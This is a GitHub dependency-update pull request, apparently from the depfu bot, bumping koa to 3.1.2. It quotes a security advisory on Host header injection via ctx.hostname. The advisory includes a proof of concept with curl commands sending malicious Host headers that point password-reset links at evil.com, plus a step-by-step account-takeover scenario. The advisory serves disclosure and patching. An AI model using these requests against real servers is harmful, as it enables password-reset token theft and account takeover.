🚨 [security] Update koa 3.1.1 → 3.1.2 (patch) by depfu[bot] · Pull Request #644 · firefox-devtools/profiler-server

depfu · 2026-02-27T00:06:22Z

🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!

Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ koa (3.1.1 → 3.1.2) · Repo · Changelog

Security Advisories 🚨

🚨 Koa has Host Header Injection via ctx.hostname

Summary

Koa's ctx.hostname API performs naive parsing of the HTTP Host header, extracting everything before the first colon without validating the input conforms to RFC 3986 hostname syntax. When a malformed Host header containing a @ symbol (e.g., evil.com:fake@legitimate.com) is received, ctx.hostname returns evil.com - an attacker-controlled value. Applications using ctx.hostname for URL generation, password reset links, email verification URLs, or routing decisions are vulnerable to Host header injection attacks.

Details

The vulnerability exists in Koa's hostname getter in lib/request.js:
// Koa 2.16.1 - lib/request.js
get hostname() {
 const host = this.host;
 if (!host) return '';
 if ('[' === host[0]) return this.URL.hostname || ''; // IPv6 literal
 return host.split(':', 1)[0];
}
The host getter retrieves the raw header value with HTTP/2 and proxy support:
// Koa 2.16.1 - lib/request.js
get host() {
 const proxy = this.app.proxy;
 let host = proxy && this.get('X-Forwarded-Host');
 if (!host) {
 if (this.req.httpVersionMajor >= 2) host = this.get(':authority');
 if (!host) host = this.get('Host');
 }
 if (!host) return '';
 return host.split(',')[0].trim();
}
The Problem

The parsing logic simply splits on the first : and returns the first segment. There is no validation that the resulting string is a valid hostname per RFC 3986 Section 3.2.2.

RFC 3986 Section 3.2.2 defines the host component as:
host = IP-literal / IPv4address / reg-name
reg-name = *( unreserved / pct-encoded / sub-delims )
unreserved = ALPHA / DIGIT / "-" / "." / "_" / "~"
sub-delims = "!" / "$" / "&" / "'" / "(" / ")" / "*" / "+" / "," / ";" / "="
The @ character is explicitly NOT permitted in the host component - it is the delimiter separating userinfo from host in the authority component.

Attack Vector

When an attacker sends:
Host: evil.com:fake@legitimate.com:3000
Koa parses this as:

API Returns Notes

ctx.get('Host') "evil.com:fake@legitimate.com:3000" Raw header

ctx.hostname "evil.com" Attacker-controlled

ctx.host "evil.com:fake@legitimate.com:3000" Raw header value

ctx.origin "http://evil.com:fake@legitimate.com:3000" Protocol + malformed host

The ctx.hostname API returns evil.com because the parser splits on the first : without understanding that evil.com:fake@legitimate.com is a malformed authority component where evil.com:fake would be interpreted as userinfo by a proper URI parser.

Additional Concern: ctx.origin

Koa's ctx.origin property concatenates protocol and host without validation:
// lib/request.js
get origin() {
 return `${this.protocol}://${this.host}`;
}
Applications using ctx.origin for URL generation receive the full malformed Host header value, creating URLs with embedded credentials that browsers may interpret as userinfo.

HTTP/2 Consideration

Koa explicitly checks httpVersionMajor >= 2 to read the :authority pseudo-header:
if (this.req.httpVersionMajor >= 2) host = this.get(':authority');
The same vulnerability applies - malformed :authority values containing userinfo would be accepted and parsed identically.

PoC

Setup
// server.js
const Koa = require('koa'); 
const app = new Koa();
// Simulates password reset URL generation (common vulnerable pattern)

app.use(async ctx => {

if (ctx.path === '/forgot-password') {

const resetToken = 'abc123securtoken';

const resetUrl = ${ctx.protocol}://${ctx.hostname}/reset?token=${resetToken};
ctx.body = {
 message: 'Password reset link generated',
 resetUrl: resetUrl,
 debug: {
 rawHost: ctx.get('Host'),
 parsedHostname: ctx.hostname,
 origin: ctx.origin,
 protocol: ctx.protocol
 }
};

}

});
app.listen(3000, () => console.log('Server on http://localhost:3000'));
Exploit
curl -H "Host: evil.com:fake@localhost:3000" http://localhost:3000/forgot-password
Result
{
 "message": "Password reset link generated",
 "resetUrl": "http://evil.com/reset?token=abc123securtoken",
 "debug": {
 "rawHost": "evil.com:fake@localhost:3000",
 "parsedHostname": "evil.com",
 "origin": "http://evil.com:fake@localhost:3000",
 "protocol": "http"
 }
}
The password reset URL points to evil.com instead of the legitimate server. In a real attack:

Attacker requests password reset for victim's email with malicious Host header

Server generates reset link using ctx.hostname → https://evil.com/reset?token=SECRET

Victim receives email with poisoned link

Victim clicks link, token is sent to attacker's server

Attacker uses token to reset victim's password

Additional Test Cases
# Basic injection
curl -H "Host: evil.com:x@legitimate.com" http://localhost:3000/forgot-password
# Result: hostname = "evil.com"
# With port preservation attempt

curl -H "Host: evil.com:443@legitimate.com:3000" http://localhost:3000/forgot-password

# Result: hostname = "evil.com"
# Unicode/encoded variations

curl -H "Host: evil.com:x%40legitimate.com" http://localhost:3000/forgot-password

# Result: hostname = "evil.com"
Deployment Consideration

For this attack to succeed in production, the malicious Host header must reach the Koa application. This occurs when:

No reverse proxy - Application directly exposed to internet

Misconfigured proxy - Proxy doesn't override/validate Host header

Proxy trust enabled (app.proxy = true) - X-Forwarded-Host can be injected

Default virtual host - Server is the catch-all for unrecognized Host headers

Impact

Vulnerability Type

CWE-20: Improper Input Validation

CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax

Attack Scenarios

1. Password Reset Poisoning (High Severity)

Attacker hijacks password reset tokens by poisoning reset URLs

Requires victim to click link in email

Results in account takeover

2. Email Verification Bypass

Attacker poisons email verification links

Can verify attacker-controlled email on victim accounts

3. OAuth/SSO Callback Manipulation

Applications using ctx.hostname for OAuth redirect URIs

Attacker redirects OAuth callbacks to malicious server

Results in token theft

4. Web Cache Poisoning

If responses are cached without Host in cache key

Poisoned URLs served to all users

Persistent XSS/phishing via cached responses

5. Server-Side Request Forgery (SSRF)

Internal routing decisions based on ctx.hostname

Attacker manipulates which backend receives requests

Who Is Impacted

Direct impact: Any Koa application using ctx.hostname or ctx.origin for URL generation without additional validation

Common patterns: Password reset, email verification, webhook URL generation, multi-tenant routing, OAuth implementations

Release Notes

3.1.2

What's Changed

fix: typo in troubleshooting.md by @WuMingDao in #1916

build(deps-dev): bump qs from 6.14.0 to 6.14.1 by @dependabot[bot] in #1921

build(deps): bump http-errors from 2.0.0 to 2.0.1 by @dependabot[bot] in #1919

build(deps): bump mime-types from 3.0.1 to 3.0.2 by @dependabot[bot] in #1918

docs: use correct term "Server-Sent Events" in guide by @jtr860830 in #1920

build(deps): bump content-disposition from 0.5.4 to 1.0.1 by @dependabot[bot] in #1917

build(deps-dev): bump js-yaml from 4.1.0 to 4.1.1 by @dependabot[bot] in #1922

fix(security): Host Header Injection via ctx.hostname by @killagu GHSA-7gcc-r8m5-44qm

New Contributors

@WuMingDao made their first contribution in #1916

@jtr860830 made their first contribution in #1920

Full Changelog: v3.1.1...v3.1.2

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 9 commits:

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands

@depfu rebase
Rebases against your default branch and redoes this update

@depfu recreate
Recreates this PR, overwriting any edits that you've made to it

@depfu merge
Merges this PR once your tests are passing and conflicts are resolved

@depfu cancel merge
Cancels automatic merging of this PR

@depfu close
Closes this PR and deletes the branch

@depfu reopen
Restores the branch and reopens this PR (if it's closed)

@depfu pause
Ignores all future updates for this dependency and closes this PR

@depfu pause [minor|major]
Ignores all future minor/major updates for this dependency and closes this PR

@depfu resume
Future versions of this dependency will create PRs again (leaves this PR as is)

⬆️ Update koa to version 3.1.2

1d92b66

depfu bot added the dependencies Pull requests that update a dependency file label Feb 27, 2026

depfu bot requested a review from canova as a code owner February 27, 2026 00:06

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

🚨 [security] Update koa 3.1.1 → 3.1.2 (patch)#644

🚨 [security] Update koa 3.1.1 → 3.1.2 (patch)#644
depfu[bot] wants to merge 1 commit intomasterfrom
depfu/update/yarn/koa-3.1.2

depfu bot commented Feb 27, 2026

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

API	Returns	Notes
`ctx.get('Host')`	`"evil.com:fake@legitimate.com:3000"`	Raw header
`ctx.hostname`	`"evil.com"`	Attacker-controlled
`ctx.host`	`"evil.com:fake@legitimate.com:3000"`	Raw header value
`ctx.origin`	`"http://evil.com:fake@legitimate.com:3000"`	Protocol + malformed host

Conversation

depfu bot commented Feb 27, 2026

What changed?

✳️ koa (3.1.1 → 3.1.2) · Repo · Changelog

🚨 Koa has Host Header Injection via ctx.hostname

Summary

Details

The Problem

Attack Vector

Additional Concern: ctx.origin

HTTP/2 Consideration

PoC

Setup

Exploit

Result

Additional Test Cases

Deployment Consideration

Impact

Vulnerability Type

Attack Scenarios

Who Is Impacted

3.1.2

What's Changed

New Contributors

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

Additional Concern: `ctx.origin`